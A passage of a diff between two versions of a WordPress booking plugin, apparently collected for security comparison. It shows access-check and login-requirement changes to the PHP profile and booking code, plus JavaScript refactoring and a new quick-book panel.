
-					'loginwp'	=> $msg,

+		if ( ! is_user_logged_in() && $sub_udata['email'] ) {

+			if ( get_user_by( 'email', $sub_udata['email'] ) ) {

+				die( json_encode( array(

+					'loginwp'	=> wpb_get_text('login_required'),

 					'email'		=> $sub_udata['email'],

 					'recovered'	=> ! empty( $_POST['value'] ) ? wpb_clean( $_POST['value'] ) : false,

-					) ) );

-				}

+				) ) );

 			}

 		} else if ( is_user_logged_in() && $sub_udata['email'] && ! wpb_is_admin_user() ) {

 			# Logged in client tries to use another registered user's email

@@ -797,7 +799,7 @@
 			}

 		}

 

-		if ( ! $user_id && $sub_udata['email'] && 'yes' == wpb_setting('auto_register_client') ) {

+		if ( ! $user_id && wpb_setting( 'ask_email' ) && $sub_udata['email'] && 'yes' == wpb_setting('auto_register_client') ) {

 			if ( $maybe_user_id = $this->create_user( $sub_udata ) ) {

 				$user_id = $maybe_user_id;

 				/* Auto login

@@ -1258,12 +1260,12 @@
 			unset( $tabs['settings'] );

 			$tabs['settings'] = wpb_get_text( 'bp_settings' );

 		}

-		

+

 		if ( isset( $tabs['store_settings'] ) ) {

 			unset( $tabs['store_settings'] );

 			$tabs['store_settings'] = wpb_get_text( 'store_settings' );

-		}		

-		

+		}

+

 		return $tabs;

 	}

 

@@ -1315,15 +1317,15 @@
 				if ( !( BASE('Annual') && 'yes' == wpb_setting('allow_worker_annual') && wpb_admin_access_check( 'manage_own_work_hours', false ) ) ) {

 					unset( $tabs['seasonal'] );

 				}

-				

+

 				if ( wpb_is_account_page() && wpb_is_store_worker( $uid ) ) {

 					unset( $tabs['working_hours'] );

 					unset( $tabs['holidays'] );

 					unset( $tabs['seasonal'] );

 					unset( $tabs['payments'] );

 				}

-				

-			}  else if ( wpb_is_manage_store() && wpb_is_manager( $uid ) ) { 

+

+			}  else if ( wpb_is_manage_store() && wpb_is_manager( $uid ) ) {

 				$tabs = array(

 					'schedules'		=> wpb_get_text('bp_schedules'),

 					'clients'		=> wpb_get_text('clients'),

@@ -1334,21 +1336,26 @@
 					'holidays'		=> wpb_get_text('bp_holidays'),

 					'seasonal'		=> wpb_get_text('bp_annual'),

 					'payments'		=> wpb_get_text('bp_payments'),

-					'store_settings'=> wpb_get_text('store_settings'),					

+					'store_settings'=> wpb_get_text('store_settings'),

 				);

-				

+

 				if ( !( BASE('Annual') ) ) {

 					unset( $tabs['seasonal'] );

 				}

-			

+

 			} else {

 				$tabs = array(

 					'bookings'	=> wpb_get_text('bp_bookings'),

+					'schedules'	=> wpb_get_text('bp_schedules'),

 					'payments'	=> wpb_get_text('bp_payments'),

 					'settings'	=> wpb_get_text('bp_settings'),

 				);

+

+				if ( ! is_user_logged_in() || ! apply_filters( 'app_client_can_use_schedules', 'yes' == wpb_setting( 'schedule_client_can' ) ) ) {

+					unset( $tabs['schedules'] );

+				}

 			}

-			

+

 			if ( ! wpb_user_can_view_payments( $uid ) ) {

 				unset( $tabs['payments'] );

 			}

@@ -1399,56 +1406,62 @@
 				if ( wpb_is_manage_store() ) {

 					break;

 				}

-				

+

 				$this->show_profile_bookings( $uid, $is_readonly );

 				break;

-				

+

 			case 'stores':

 				if ( ! wpb_is_manager( $uid ) || ! BASE('LocationsList') ) {

 					break;

 				}

-				

+

 				BASE('LocationsList')->listing( $uid );

-			

+

 				break;

-				

+

 			case 'store_settings':

 				if ( ! wpb_is_manager( $uid ) || ! BASE('StoreSettings') ) {

 					break;

 				}

-				

+

 				include_once( WPBASE_PLUGIN_DIR . '/includes/admin/base-admin.php' );

-				

+

 				BASE('StoreSettings')->display();

-			

-				break;				

-				

+

+				break;

+

 			case 'schedules':

-				if ( ! wpb_is_manager( $uid ) && ! wpb_is_worker( $uid ) && ! wpb_is_admin_user() ) {

+				if ( ! is_user_logged_in() ) {

 					break;

 				}

-				

+

+				if ( ! apply_filters( 'app_client_can_use_schedules', 'yes' == wpb_setting( 'schedule_client_can' ) ) ) {

+					if ( ! wpb_is_manager( $uid ) && ! wpb_is_worker( $uid ) && ! wpb_is_admin_user() ) {

+						break;

+					}

+				}

+

 				?><div id="wpbody-content" class="app-sc wp-admin wp-core-ui app-fem app-clearfix"><?php

-				

+

 				wpb_render_schedules();

-				

+

 				?></div><?php

-				

+

 				break;

-				

+

 			case 'clients':

 				if ( ! wpb_is_manager( $uid ) ) {

 					break;

-				}			

-			

+				}

+

 				include_once( WPBASE_PLUGIN_DIR . '/includes/admin/clients.php' );

-				

+

 				?><div class="wp-core-ui app-page"><?php

-				

+

 				BASE('Clients')->client_list( $uid );

-				

+

 				?></div><?php

-				

+

 				break;

 

 			case 'services':

@@ -1465,29 +1478,29 @@
 				?></div><?php

 

 				break;

-				

+

 			case 'workers':

 				if ( ! BASE('WorkersList') || ! wpb_is_manager( $uid ) ) {

 					break;

 				}

-				

+

 				?><div class="wp-core-ui app-page"><?php

-				

+

 				BASE('WorkersList')->worker_list( $uid );

-				

+

 				?></div><?php

-				

+

 				break;

 

 			case 'working_hours':

 				if ( ! wpb_is_manager( $uid ) && (! wpb_is_worker( $uid ) || 'yes' != wpb_setting('allow_worker_wh')) ) {

 					break;

 				}

-				

+

 				if ( wpb_is_account_page() && wpb_is_store_worker( $uid ) ) {

 					break;

 				}

-				

+

 

 				BASE('WH')->render_tab( wpb_is_manage_store() ? false : $uid );

 

@@ -1497,10 +1510,10 @@
 				if ( ! wpb_is_manager( $uid ) && (! wpb_is_worker( $uid ) || 'yes' != wpb_setting('allow_worker_wh')) ) {

 					break;

 				}

-				

+

 				if ( wpb_is_account_page() && wpb_is_store_worker( $uid ) ) {

 					break;

-				}				

+				}

 

 				BASE('Holidays')->render_tab( wpb_is_manage_store() ? false : $uid );

 

@@ -1513,24 +1526,24 @@
 				if ( ! wpb_is_manager( $uid ) && (! wpb_is_worker( $uid ) || 'yes' != wpb_setting('allow_worker_annual')) ) {

 					break;

 				}

-				

+

 				if ( wpb_is_account_page() && wpb_is_store_worker( $uid ) ) {

 					break;

-				}				

+				}

 

 				BASE('Annual')->render_tab( wpb_is_manage_store() ? false : $uid );

 

 				break;

 

 			case 'payments':

-				if ( wpb_is_multi_store() && ! wpb_is_vendor( $uid ) ) {

+				if ( wpb_is_manage_store() && ! wpb_is_manager( $uid ) ) {

 					break;

 				}

-				

+

 				if ( wpb_is_account_page() && wpb_is_store_worker( $uid ) ) {

 					break;

-				}				

-				

+				}

+

 				include_once( WPBASE_PLUGIN_DIR . '/includes/admin/transactions.php' );

 

 				?><div id="wpbody-content" class="app-sc wp-admin wp-core-ui app-fem app-clearfix"><?php

@@ -1545,7 +1558,7 @@
 				if ( wpb_is_manage_store() ) {

 					break;

 				}

-				

+

 				$this->show_profile_settings( $uid, $is_readonly );

 			break;

 

@@ -1646,7 +1659,7 @@
 	</form>

 	<?php

 	}

-	

+

 	public static function get_user_meta( $user_id, $f ) {

 		return (string)get_user_meta( $user_id, 'app_'.$f, true );

 	}

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/admin/admin-scripts.js /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/admin/admin-scripts.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/admin/admin-scripts.js	2026-01-06 00:53:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/admin/admin-scripts.js	2026-03-10 03:48:28.000000000 +0000
@@ -611,8 +611,8 @@
 					"submitClicked": true

 				});

 			});

-            $("table.app-manage, div.app-manage.app-form, table.app-vendors, table.app-clients, table.app-services, table.app-workers, table.app-locations")

-				.on("click", ".save", function () {

+            $("table.app-manage, div.app-manage.app-form, table.app-vendors, table.app-clients, table.app-services, table.app-workers, table.app-locations, table.app-commissions")

+				.on("click", ".save, .cancel", function () {

                 $(document).data({

                     "submitClicked": true

                 });

@@ -1277,29 +1277,29 @@
             var postData = {

 				wpb_ajax: true,

 				admin_edit: true,

-				user: par.find("select[name='user'] option:selected").val(),

+				user: par.find("select[name='user']").val(),

 				create_user: par.find("input[name='create_user']").is(":checked") ? 1 : 0,

 				create_user_check: par.find("input[name='create_user_check']").val(),

 				name: par.find("input[name='cname']").val(),

 				app_user_data: JSON.stringify(app_user_data),

-				location: par.find("select[name='location'] option:selected").val() || 0,

-				service: par.find("select[name='service'] option:selected").val(),

+				location: par.find(".app_select_locations").val() || 0,

+				service: par.find(".app_select_services").val(),

 				worker: par.find(".app_select_workers").val() || 0,

 				locked: par.find("input[name='locked']").is(":checked") ? 1 : 0,

 				locked_check: par.find("input[name='locked_check']").val(),

 				price: par.find("input[name='price']").val() || 0,

 				deposit: par.find("input[name='deposit']").val() || 0,

-				created_by: par.find("select[name='created_by'] option:selected").val(),

-				event_start: par.find("select[name='event_start'] option:selected").val(),

+				created_by: par.find("select[name='created_by']").val(),

+				event_start: par.find("select[name='event_start']").val(),

 				start_date: par.find("input[name='start_date']").val(),

-				start_time: par.find("select[name='start_time'] option:selected").val(),

+				start_time: par.find("select[name='start_time']").val(),

 				end_date: par.find("input[name='end_date']").val(),

-				end_time: par.find("select[name='end_time'] option:selected").val(),

+				end_time: par.find("select[name='end_time']").val(),

 				parent_id: par.find("input[name='parent_id']").val(),

 				note: par.find("textarea[name='note']").val(),

 				note_check: par.find("input[name='note_check']").val(),

 				admin_note: par.find("textarea[name='admin_note']").val(),

-				status: par.find("select[name='status'] option:selected").val(),

+				status: par.find("select[name='status']").val(),

 				resend: par.find("input[name='resend']").is(":checked") ? 1 : 0,

 				send_pending: par.find("input[name='send_pending']").is(":checked") ? 1 : 0,

 				send_cancel: par.find("input[name='send_cancel']").is(":checked") ? 1 : 0,

@@ -1312,9 +1312,9 @@
 				app_seats: par.find(".app_seats").val(),

 				app_extras: $.isArray(extras) ? extras.join(",") : extras,

 				app_extras_check: par.find("input[name='app_extras_check']").val(),

-				app_multilang: par.find("select[name='app_multilang'] option:selected").val(),

+				app_multilang: par.find("select[name='app_multilang']").val(),

 				app_multilang_check: par.find("input[name='app_multilang_check']").val(),

-				app_duration: par.find("select[name='app_duration'] option:selected").val(),

+				app_duration: par.find("select[name='app_duration']").val(),

 				taken_over_at: par.find("input[name='taken_over_at']").val(),

 				zoom_recover_id: par.find("input[name='zoom_recover_id']").val(),

 				is_account_page: _app_.is.account_page ? 1 : 0,

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js: app-datatables.js
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/common-scripts.js /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/common-scripts.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/js/common-scripts.js	2026-01-06 00:53:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/js/common-scripts.js	2026-03-10 03:48:28.000000000 +0000
@@ -326,253 +326,6 @@
 	WPB_Common.init();

 

 

-	/**

-	 * Arrange List of Bookings and app-list table

-	 */

-	var WPB_List = {

-		init: function() {

-			var me = this;

-			var tbl = $("table.app-list");

-			$(document).data("app_list_table_clone", tbl.clone());

-

-			$.extend( $.fn.dataTableExt.oJUIClasses, {

-				"sFilterInput": "ui-toolbar ui-state-default app-no-save-alert app-w-select",

-				"sLengthSelect": "ui-toolbar ui-state-default app-no-save-alert"

-			});

-			$.fn.dataTable.moment( _app_.moment_format, _app_.locale );

-

-			var dt = tbl.DataTable(me.args(tbl));

-			this.dt_api = dt;

-			me.qtip(tbl);

-			dt.on("page.dt, search.dt, draw.dt", function () {

-				me.qtip(tbl);

-			});

-

-			$(document).find(".fg-toolbar").removeClass("ui-widget-header");

-			dt.on("draw.dt", function () {

-				$.styleButtons();

-			});

-

-			$(".app_save_profile_submit").click(function (e) {

-				me.ratesSubmit(e);

-			});

-

-			$(document).on( "click", ".app-list button.app-list-cancel", function(e) {

-				var $this = $(this);

-				if ($this.hasClass("app-disabled-button")) {

-					return false;

-				}

-				e.preventDefault();

-				$this.addClass("app-disabled-button");

-				$this.closest("tr").css("opacity", "0.3");

-				var r = window.confirm(_app_.cancel_app_confirm);

-				if ( !r ) {

-					$this.removeClass("app-disabled-button");

-					$this.closest("tr").css("opacity", "1");

-				} else {

-					me.cancel($this);

-				}

-			});

-

-			$(document).on( "click", ".app-list button.app-list-confirm", function(e) {

-				var $this = $(this);

-				if ($this.hasClass("app-disabled-button")) {

-					return false;

-				}

-				e.preventDefault();

-				$this.addClass("app-disabled-button");

-				$this.closest("tr").css("opacity", "0.3");

-				var r = window.confirm(_app_.confirmConfirm);

-				if ( !r ) {

-					$this.removeClass("app-disabled-button");

-					$this.closest("tr").css("opacity", "1");

-				} else {

-					me.confirm($this);

-				}

-			});

-

-			$(document).on( "click", ".app-list button.app-list-pay", function(e) {

-				var $this = $(this);

-				if ($this.hasClass("app-disabled-button")) {

-					return false;

-				}

-				e.preventDefault();

-				$this.addClass("app-disabled-button");

-				$this.closest("tr").css("opacity", "0.3");

-				window.location.href = $this.data("href");

-			});

-		},

-

-        /**

-         * Let hidden fields to be submitted

-         */

-        ratesSubmit: function (e) {

-			e.preventDefault();

-            var $this = $(e.target);

-            var par = $this.parents("form");

-            // Submit hidden fields

-            // https://datatables.net/plug-ins/api/fnGetHiddenNodes

-            var nodes;

-            var display = par.find('tbody tr');

-            nodes = this.dt_api.rows().nodes().toArray();

-            /* Remove nodes which are being displayed */

-            var i = 0;

-            var iIndex = 0;

-            for (i = 0; i < display.length; i = i + 1) {

-                iIndex = $.inArray(display[i], nodes);

-

-                if (iIndex !== -1) {

-                    nodes.splice(iIndex, 1);

-                }

-            }

-            par.find(".app_rates_hidden").append(nodes);

-            par.submit();

-        },

-

-		/* DataTable arguments */

-		args: function(tbl) {

-			return {

-				"bAutoWidth": true,

-				"initComplete": $.styleButtons(),

-				"fnInitComplete": function () {

-					tbl.css({opacity: 0.0, visibility: "visible"}).animate({opacity: 1.0});

-					var s = $.readGet("app_s");

-					var filter = $(".dataTables_filter input");

-					filter.attr("placeholder", _app_.search).val(s);

-					if (s) {

-						filter.trigger("keyup");

-					}

-				},

-				"lengthMenu": [ [10, 25, 50, 100, -1], [10, 25, 50, 100, _app_.all] ],

-				"pageLength": tbl.data("page_length") || _app_.page_length || 10,

-				"responsive": true,

-				"aaSorting": [ ],

-				"bJQueryUI": true,

-				"aoColumnDefs" : [ {

-					"bSortable" : false,

-					"aTargets" : [

-						"app-list-gcal-header",

-						"app-list-confirm-header",

-						"app-list-edit-header",

-						"app-list-cancel-header",

-						"app-list-pdf-header",

-						"app-list-zoom-header",

-						"app-list-jitsi-header",

-						"app-list-agora-header"

-					]

-				} ],

-				"language": {

-					"info": _app_.info,

-					"emptyTable": _app_.no_appointments,

-					"paginate": {

-					  "next": _app_.next,

-					   "previous": _app_.previous

-					},

-					"search": "",

-					"lengthMenu": _app_.length_menu

-				}

-			};

-		},

-

-		/* Handle cancel */

-		cancel: function ($this) {

-			var cancel_id = $this.data("app_id");

-			if (!cancel_id) {

-				return false;

-			}

-

-			$.infoPanel();

-

-			var cancel_data = {

-				action: "cancel_app",

-				app_id: cancel_id,

-				cancel_nonce: _app_.cancel_nonce,

-				args: $this.parents("table.app-list").data("args")

-			};

-			$.post(_app_.ajax_url, cancel_data, function(r) {

-				$this.closest("tr").css("opacity", "1");

-				if (!r) {

-					alert(_app_.con_error);

-					return false;

-				}

-				if (r.error ) {

-					alert(r.error);

-				} else if (r.success) {

-					alert(_app_.cancelled);

-					window.location.href = window.location.href;

-				}

-			}, "json");

-		},

-

-		/* Handle confirm */

-		confirm: function ($this) {

-			var confirm_id = $this.data("app_id");

-			if (!confirm_id) {

-				return false;

-			}

-

-			$.infoPanel();

-

-			var confirm_data = {

-				action: "confirm_app",

-				app_id: confirm_id,

-				confirm_nonce: _app_.confirm_nonce,

-				args: $this.parents("table.app-list").data("args")

-			};

-			$.post(_app_.ajax_url, confirm_data, function(r) {

-				$this.closest("tr").css("opacity", "1");

-				if (!r) {

-					alert(_app_.con_error);

-					return false;

-				}

-				if (r.error ) {

-					alert(r.error);

-				} else if (r.success) {

-					alert(_app_.confirmed_message);

-					window.location.href = window.location.href;

-				}

-			}, "json");

-		},

-

-		/* Show children in qtip */

-		qtip: function (tbl) {

-			tbl.find(".app-list-service-name").qtip({

-				overwrite: true,

-				content: {

-					text: function(ignore, api) {

-						api.elements.content.html(_app_.please_wait);

-						return $.ajax({

-							url: _app_.ajax_url,

-							type: "POST",

-							dataType: "json",

-							data: {

-								wpb_ajax: true,

-								app_id: $(this).data("app_id"),

-								args: JSON.stringify($(this).parents("table.app-list").data("args")),

-								action: "app_show_children_in_tooltip"

-							}

-						})

-						.then(function(res) {

-							var content = res.result;

-							return content;

-						}, function(ignore, status, error) {

-							api.set("content.text", status + ": " + error);

-						});

-					}

-				},

-				hide: _app_.qtipHide,

-				position: _app_.qtipPos,

-				style: _app_.qtipSmall

-			});

-		}

-	};

-

-	WPB_List.init();

-

-	$(document).on("app-client-record-opened", function(){

-		WPB_List.init();

-	});

-

 	$(document).on("click", ".app-become-vendor", function(e){

 		e.preventDefault();

 		var $this = $(this);

@@ -663,6 +416,579 @@
 		});

 

 	});

+	

+   /**

+	 * Add/edit/save bookings quickly using sidebar panel

+     */

+    $.WPB_Quickbook = {

+

+        init: function (task, arg, calendar) {

+            var me = this;

+

+			me.wrap = $(document).find(".app-panel-wrap");

+			me.panel = $(document).find(".app-panel");

+

+            var table = $("div.app-manage");

+

+            table.on("click", ".save", function (e) {

+				e.preventDefault();

+                me.save(e);

+            });

+

+            table.on("change", "select.app_seats,select.app_extras,.app-admin-lsw,select[name='start_time'],select[name='status'],select.app_duration,.app-special-select", function (e) {

+                me.updateEdit($(e.target));

+            });

+

+			var cursorTimer;

+            table.on("keyup", "input[name='app_seats'],.app-special-text", function (e) {

+				clearTimeout(cursorTimer);

+				cursorTimer = setTimeout(function () {

+					me.updateEdit($(e.target));

+				}, 500);

+            });

+

+            table.on("focus", ".datepicker", function (e) {

+				if ( !$(this).prop( "readonly" ) ) {

+					me.datePicker(e);

+				}

+            });

+

+			/* Cancel */

+            table.on("click", ".cancel, .app-close-panel", function (e) {

+				e.preventDefault();

+                me.cancel();

+            });

+

+            /* Redraw multiselect */

+            $(window).resize(function () {

+                $.each($(".app_users,.app_extras"), function (ignore, val) {

+                    $this = $(val);

+                    if ($this.data().hasOwnProperty("echMultiselect")) {

+                        $this.multiselect("refresh");

+                    }

+                });

+            });

+

+        },

+

+        /**

+         * If cancel button clicked, close panel, enable Edit button

+         */

+		cancel: function () {

+			var me = this;

+			me.wrap.removeClass("open");

+			$(".app-panel-overlay").remove();

+

+			var btn = me.edit_btn;

+

+			if (btn) {

+				btn.removeClass("app-disabled-button");

+				btn.closest("tr").css("opacity", 1);

+			}

+		},

+

+        /**

+         * Read all field values of a row (par)

+         * @param par   object  Possibly a row in the table under which fields will be read

+         */

+        readData: function (par) {

+            var table = par.parents("div.app-manage");

+

+            var app_user_data = {};

+            $.each(_app_.user_fields, function (ignore, v) {

+                app_user_data[v] = par.find("input[name='" + v + "']").val();

+            });

+

+            var postData = {

+				wpb_ajax: true,

+				admin_edit: true,

+				user: par.find("select[name='user']").val(),

+				create_user: par.find("input[name='create_user']").is(":checked") ? 1 : 0,

+				create_user_check: par.find("input[name='create_user_check']").val(),

+				name: par.find("input[name='cname']").val(),

+				app_user_data: JSON.stringify(app_user_data),

+				location: par.find(".app_select_locations").val() || 0,

+				service: par.find(".app_select_services").val(),

+				worker: par.find(".app_select_workers").val() || 0,

+				start_date: par.find("input[name='start_date']").val(),

+				start_time: par.find("[name='start_time']").val(),

+				end_date: par.find("input[name='end_date']").val(),

+				end_time: par.find("[name='end_time']").val(),

+				status: par.find("select[name='status']").val(),

+				app_id: par.find("input[name='app_id']").val(),

+				app_seats: par.find(".app_seats").val(),

+				app_duration: par.find("select[name='app_duration']").val(),

+				send_email: par.find("input[name='send_email']").is(":checked") ? 1 : 0,

+				only_own: table.data("only_own"),

+				ajax_nonce: _app_.iedit_nonce,

+				is_account_page: _app_.is.account_page ? 1 : 0,

+				is_store_page: _app_.is.store_page ? 1 : 0

+            };

+

+			/* Add special values to post data */

+			var postSpecialData = {};

+

+			par.find("input[class*=app-special-text], select[class*=app-special-select]").each( function(){

+				var sp_name = $(this).attr("name");

+				var sp_value = $(this).attr("type") === "checkbox" ? ((this).checked ? 1 : 0) : $(this).val();

+				postSpecialData[sp_name] = sp_value;

+			});

+

+			$.extend(postData, postSpecialData);

+

+            var udfs = {};

+            $.each(_app_.udf_ids, function (ignore, v) {

+                var field = par.find(".app-udf-field-entry-" + v);

+                if (parseInt(field.length) > 0) {

+                    if (field.hasClass("app-udf-checkbox")) {

+                        udfs["udf_" + v] = field.is(":checked") ? 1 : 0;

+                    } else {

+                        udfs["udf_" + v] = field.val();

+                    }

+                }

+            });

+            postData = $.extend(postData, {

+						udf_data: JSON.stringify(udfs)

+                    });

+

+            return postData;

+        },

+

+        /**

+         * Edit or add a booking

+         */

+        upsert: function (task, arg, calendar) {

+            var me = this;

+			me.calendar = calendar;

+			var resource_id = typeof arg.resource === "undefined" ? 0 : arg.resource.id;

+			var post_id, author_id, cap, lang, override;

+

+			if ( typeof arg.fee === "object" ) {

+				me.fee = true;

+				me.edit_btn = $(arg.fee.edit_btn);

+				me.list_table = $(arg.fee.list_table);

+				post_id = arg.fee.post_id;

+				author_id = arg.fee.author_id;

+				cap = arg.fee.cap;

+				lang = arg.fee.lang;

+				override = arg.fee.override;

+			} else {

+				me.fee = false;

+				me.edit_btn = false;

+				me.list_table = false;

+			}

+

+			var data = {

+                wpb_ajax: true,

+				action: me.fee ? "app_listing_edit" : "app_quick_book_upsert",

+				app_id: task == "edit" ? arg.event.id : 0,

+				worker: task == "add" ? resource_id : 0,

+				updated: task == "add" && resource_id ? "worker" : "",

+				app_timestamp: task == "add" ? arg.startStr : 0,

+                ajax_nonce: _app_.iedit_nonce,

+				is_account_page: _app_.is.account_page ? 1 : 0,

+				is_store_page: _app_.is.store_page ? 1 : 0,

+				post_id: post_id,

+				author_id: author_id,

+				cap: cap,

+				app_lang: lang,

+				override: override

+            };

+

+			me.panel.empty();

+			

+			$.infoPanel( 'loading' );

+

+            $.post(_app_.ajax_url, data, function (r) {

+                if (r && r.error) {

+                    window.alert(r.error);

+                } else if (r) {

+					me.wrap.addClass("open");

+					if ( _app_.is.client ) {

+						$(document.body).prepend('<div class="app-panel-overlay"></div>');

+					}

+					

+                    var iedit_row = r.result;

+                    var insertedRow = $(iedit_row).appendTo(me.panel);

+                    insertedRow.find(".inline-edit-col .blocked-days")

+                                .val(r.blocked_days).data("blocked", r.blocked_days);

+                    var dpicker_id = insertedRow.find(".datepicker").attr("id");

+                    $("#" + dpicker_id).datepicker("refresh");

+                    if (parseInt(r.locked) > 0) {

+                        insertedRow.data("locked", true);

+                    }

+                    me.configureMS(r.id);

+                    me.configQtip(r.id);

+                } else {

+                    window.alert(_app_.con_error);

+                }

+            }, "json");

+        },

+

+        /**

+         * Updates fields during edit if lsw or date/time fields changed

+         */

+        updateEdit: function (obj) {

+            var me = this;

+            var par = obj.parents(".inline-edit-row");

+			var table = par.parents("div.app-manage");

+			var only_own = table.data("only_own");

+			me.fee = par.hasClass("app-fee");

+

+            if (obj.hasClass("app_seats") && !obj.val()) {

+                return false;

+            }

+

+            $.infoPanel();

+

+            if ($.inArray(parseInt(obj.val()), _app_.daily_services) === -1) {

+                $(".app-is-daily").text("");

+                par.find(".app-admin-time,input[name='end_date']")

+                .css("text-decoration", "none")

+                .attr("disabled", false);

+            } else {

+                // Daily

+                $(".app-is-daily").text(_app_.daily_text);

+                par.find(".app-admin-time,input[name='end_date']")

+                .css("text-decoration", "line-through")

+                .attr("disabled", true);

+            }

+

+            par.find(".app-admin-lsw").attr("disabled", "disabled");

+            var locSel = par.find(".app_select_locations");

+            var serviceSel = par.find(".app_select_services");

+            var workerSel = par.find(".app_select_workers");

+            var startTimeSel = par.find("select[name='start_time']");

+            var endTimeSel = par.find("select[name='end_time']");

+

+			var durationLabel = par.find(".app_iedit_duration");

+			var durationSel = durationLabel.find(".input-text-wrap");

+			var repeatUnitLabel = par.find(".app_iedit_repeat_unit");

+			var repeatUnitSel = repeatUnitLabel.find(".input-text-wrap");

+			var repeatNumberLabel = par.find(".app_iedit_repeat_count");

+			var repeatNumberSel = repeatNumberLabel.find(".input-text-wrap");

+

+            var postData = me.readData(par);

+            postData.action = me.fee ? "app_listing_update" : "app_quick_book_update";

+			if (parseInt(par.find(".is_event").val()) > 0 ) {

+				postData.is_event = true;

+			}

+			// if (obj.hasClass("app_select_workers") && obj.val()) {

+				// postData.updated = "worker";

+			// }

+

+            $.post(_app_.ajax_url, postData, function (r) {

+

+                par.find(".app-admin-lsw").attr("disabled", false);

+

+                if (r && r.error) {

+                    window.alert(r.error);

+                } else if (r) {

+					var notice = r.notice || "";

+					par.find(".app-admin-notice").empty().html(notice);

+					if (r.event_start) {

+						par.find("[name='event_start']").replaceWith(r.event_start);

+					}

+					if (r.event_end) {

+						par.find("[name='event_end']").replaceWith(r.event_end);

+					}

+                    if (r.end_date) {

+                        var end_date_fld = par.find("input[name='end_date']");

+                        end_date_fld.attr("readonly", false);

+                        end_date_fld.val(r.end_date);

+                        end_date_fld.attr("readonly", true);

+                    }

+                    if (r.start_time_sel) {

+                        startTimeSel.replaceWith(r.start_time_sel);

+                    }

+                    if (r.end_time_sel) {

+                        endTimeSel.replaceWith(r.end_time_sel);

+                    }

+                    if (r.locations_sel) {

+                        locSel.replaceWith(r.locations_sel);

+                    }

+                    if (r.services_sel) {

+                        serviceSel.replaceWith(r.services_sel);

+                    }

+					if (r.durations_sel) {

+                        durationSel.html(r.durations_sel);

+						durationLabel.show();

+                    } else {

+						durationLabel.hide();

+					}

+					if (r.repeat_unit_sel) {

+						repeatUnitSel.html(r.repeat_unit_sel);

+						repeatUnitLabel.show();

+                    } else {

+						repeatUnitLabel.hide();

+					}

+					if (r.repeat_count_sel) {

+						repeatNumberSel.html(r.repeat_count_sel);

+						repeatNumberLabel.show();

+                    } else {

+						repeatNumberLabel.hide();

+					}

+                    if (r.workers_sel) {

+						workerSel.siblings(".worker-name").remove();

+                        workerSel.replaceWith(r.workers_sel);

+                    }

+					if (r.seats) {

+						par.find(".app_seats").replaceWith(r.seats);

+					}

+

+                    par.find(".blocked-days").val(r.blocked_days).data("blocked", r.blocked_days);

+                    var dpicker_id = par.find(".datepicker").attr("id");

+                    $("#" + dpicker_id).datepicker("refresh");

+

+                } else {

+                    window.alert(_app_.con_error);

+                }

+            }, "json");

+        },

+

+        /**

+         * Save a booking

+         */

+        save: function (e) {

+            var me = this;

+            var $this = $(e.target);

+            var sPar = $this.parents(".inline-edit-row");

+			me.fee = sPar.hasClass("app-fee");

+            $this.attr("disabled", true);

+            $.infoPanel("saving");

+            sPar.find(".waiting").show();

+

+            var postData = me.readData(sPar);

+            postData.action = me.fee ? "app_listing_save" : "app_quick_book_save";

+			if (parseInt(sPar.find(".is_event").val()) > 0 ) {

+				postData.is_event = true;

+			}

+

+            $.post(_app_.ajax_url, postData, function (r) {

+                $this.attr("disabled", false);

+                sPar.find(".waiting").hide();

+

+                if (!r) {

+                    window.alert(_app_.con_error);

+                    return false;

+                }

+                var emailMsg = r.emailMsg ? " " + r.emailMsg : "";

+                if (r.error) {

+                    sPar.find(".error")

+                    .html("<span class='app-error'>" + r.error + emailMsg + "</span>")

+                    .show().delay(10000).fadeOut("slow");

+                } else if (r.no_change) {

+                    sPar.find(".error")

+                    .html("<span class='app-b'>" + r.no_change + emailMsg + "</span>")

+                    .show().delay(10000).fadeOut("slow");

+                } else if (r.result) {

+					sPar.find(".error")

+					.html("<span class='app-success'>" + r.result + emailMsg + "</span>")

+					.show().delay(10000).fadeOut("slow");

+

+					r.target = $this;

+					$(document).trigger("app-admin-booking-saved", r);

+

+					setTimeout(function () {

+						me.wrap.removeClass("open");

+						$(".app-panel-overlay").remove();

+					}, 3000);

+

+					if ( r.event && typeof me.calendar === "object") {

+						if (r.inserted) {

+							me.calendar.addEvent( r.event );

+						} else {

+							me.calendar.updateEvent( r.event );

+						}

+					} else if ( me.fee ) {

+						var tbl = me.list_table;

+						var row = tbl.find("tr[data-app_id='"+ r.app_id +"']");

+						var col;

+						

+						$.each(r, function (i, v) {

+							col = row.find("."+ i +"-app-mng");

+							if (col.length) {

+								if (i === "price" || i === "deposit" || i === "total_paid" || i === "balance") {

+									col.text(function () {

+										p = v.indexOf("-") > -1 ? "-" : "";

+										return p + col.text().replace("-", "").replace(/[0-9\.,]+/, v.replace("-", ""));

+									});

+								} else {

+									col.html(v);

+								}

+							}							

+						});

+						

+						me.edit_btn.removeClass("app-disabled-button");

+						me.edit_btn.closest("tr").css("opacity", 1);

+					}

+                } else if (emailMsg) {

+                    sPar.find(".error")

+                    .html("<span class='app-success'>" + emailMsg + "</span>")

+                    .show().delay(10000).fadeOut("slow");

+				}

+            }, "json");

+        },

+

+        /**

+         * Populate userdata upon user selection

+         */

+        populateUser: function (me) {

+            var sel_user = parseInt(me.val());

+            var par = me.parents(".inline-edit-col");

+            if (sel_user === 0) {

+                // Clear fields for unregistered user

+                $.each(_app_.user_fields, function (ignore, v) {

+                    par.find(".app_iedit_" + v + " input").val("");

+                });

+				par.find(".app-quick-book-user-fields").show();

+				par.find(".app_iedit_create_user").show();

+                return false;

+            }

+            $.infoPanel("reading");

